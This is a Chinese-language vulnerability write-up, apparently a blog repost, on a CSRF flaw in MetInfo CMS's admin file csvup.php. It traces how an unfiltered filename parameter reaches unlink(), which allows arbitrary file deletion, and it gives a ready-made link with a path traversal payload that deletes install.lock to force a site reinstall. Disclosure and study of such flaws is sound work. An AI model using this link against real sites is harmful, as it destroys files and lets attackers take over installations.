metinfo全版本csrf漏洞(可导致重装)

漏洞文件/admin/app/batch/csvup.php

代码

<?php
$depth='../';
require_once $depth.'../login/login_check.php';
setlocale(LC_ALL,array('zh_CN.gbk','zh_CN.gb2312','zh_CN.gb18030'));
$codeold='gbk';
$codenew='utf-8';
$classflie=explode('_',$fileField);
$classflie=explode('-',$classflie[count($classflie)-1]);
$class1=$classflie[0];
$class2=$classflie[1];
$class3=$classflie[2];
$class=$class3?$class3:($class2?$class2:$class1); 
$classcsv=$db->get_one("select * from $met_column where id=$class");
if(!$classcsv){
metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
}
$table=moduledb($classcsv['module']);
$file = fopen($flienamecsv,'r');
$fdata=fgetcsv($file);
foreach($fdata as $key=>$val){
        if(iconv($codeold,$codenew,$val)==$lang_columnhtmlname){$staticnum=$key;}
}
$numcsv=0;
while ($data = fgetcsv($file)){
        $staticone=iconv($codeold,$codenew,$data[$staticnum]);
        if($staticone!=NULL){
                $static[$numcsv+1]=$staticone;
                $static_copy[]=$staticone;
        }
        $dataqrray[]=$data;
        $numcsv++;
}  
fclose($file); 
@file_unlink($flienamecsv);

变量$flienamecsv可控,没有过滤,跟进file_unlink函数

function file_unlink($file_name) {
        if(file_exists($file_name)) {
                //@chmod($file_name,0777);
                $area_lord = @unlink($file_name);
        }
        return $area_lord;
}

直接删除文件,所以我们可以构造路径,删除任意文件,删除install.lock文件将导致重装。

这边如果!$classcsv就会退出,然后 $classcsv是可控变量$fileField控制的,所以只要赋fileField为1就可以了。

虽然在后台才能删除,但是这里存在CSRF漏洞,没有任何防御CSRF的措施,而且是GET直接请求,可以给管理留言等,可以诱使管理访问我们的链接,后果不堪设想。

安装完成后,config文件夹存在install.lock


构造删除install.lock的链接,发送给管理员,管理员点击(本地admin登录后模拟管理员点击)
链接 http://localhost/admin/app/batch/csvup.php?fileField=1&&flienamecsv=../../../config/install.lock

然后config文件下的install.lock就被删除了

导致网站可以重装。

metinfo全版本csrf漏洞(可导致重装)_第1张图片

你可能感兴趣的:(CSRF)